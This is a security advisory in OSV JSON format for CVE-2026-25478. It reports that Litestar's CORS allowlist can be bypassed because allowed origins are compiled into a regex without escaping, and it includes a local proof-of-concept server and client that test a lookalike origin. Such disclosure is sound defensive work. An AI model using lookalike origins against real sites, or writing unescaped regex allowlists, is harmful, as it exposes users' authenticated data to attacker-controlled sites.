CVE-2026-25478: Litestar Litestar's CORS Origin Allowlist Has Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2p2x-hpg8-cqp2",
  "modified" : "2026-02-09T22:38:05Z",
  "published" : "2026-02-09T17:18:52Z",
  "aliases" : [ "CVE-2026-25478" ],
  "summary" : "Litestar's CORS origin allowlist has a bypass due to unescaped regex metacharacters in allowed origins",
  "details" : "### Summary\nCORS origin validation can be bypassed because the allowed-origins allowlist is compiled into a regex without escaping metacharacters (notably .). An allowed origin like https://good.example can match https://goodXexample, resulting in Access-Control-Allow-Origin being set for an untrusted origin\n\n### Details\nCORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin).\n\n### PoC\nServer (poc_cors_server.py)\n\n```\nfrom litestar import Litestar, get\nfrom litestar.config.cors import CORSConfig\n\n@get(\"/c\")\nasync def c() -> str:\n    return \"ok\"\n\ncors = CORSConfig(\n    allow_origins=[\"https://good.example\"],\n    allow_credentials=True,\n)\napp = Litestar([c], cors_config=cors)\n```\n\n`uvicorn poc_cors_server:app --host 127.0.0.1 --port 8002`\n\nClient (poc_cors_client.py)\n\n```\nimport http.client\n\ndef req(origin: str) -> tuple[int, str | None]:\n    c = http.client.HTTPConnection(\"127.0.0.1\", 8002, timeout=3)\n    c.request(\"GET\", \"/c\", headers={\"Origin\": origin, \"Host\": \"example.com\"})\n    r = c.getresponse()\n    r.read()\n    acao = r.getheader(\"Access-Control-Allow-Origin\")\n    c.close()\n    return r.status, acao\n\nprint(\"evil:\", req(\"https://evil.example\"))\nprint(\"bypass:\", req(\"https://goodXexample\")) \n```\n\nExpected (vulnerable behavior):\n\nOrigin: https://evil.example → no ACAO\nOrigin: https://goodXexample → ACAO: https://goodxexample/ (bypass)\n\n### Impact\nType: CORS policy bypass (cross-origin data exposure risk)\nWho is impacted: apps using CORS allowlists to restrict browser cross-origin reads. If allow_credentials=True and authenticated endpoints return sensitive data, an attacker-controlled site can potentially read responses in a victim’s browser session.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "litestar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.19.0"
      }, {
        "fixed" : "2.20.0"
      } ]
    } ],
    "versions" : [ "2.19.0" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/litestar-org/litestar/security/advisories/GHSA-2p2x-hpg8-cqp2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25478"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litestar-org/litestar/commit/eb87703b309efcc0d1b087dcb12784e76b003d5a"
  }, {
    "type" : "WEB",
    "url" : "https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/litestar-org/litestar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/litestar-org/litestar/releases/tag/v2.20.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-942" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-09T17:18:52Z",
    "nvd_published_at" : "2026-02-09T20:15:57Z"
  }
}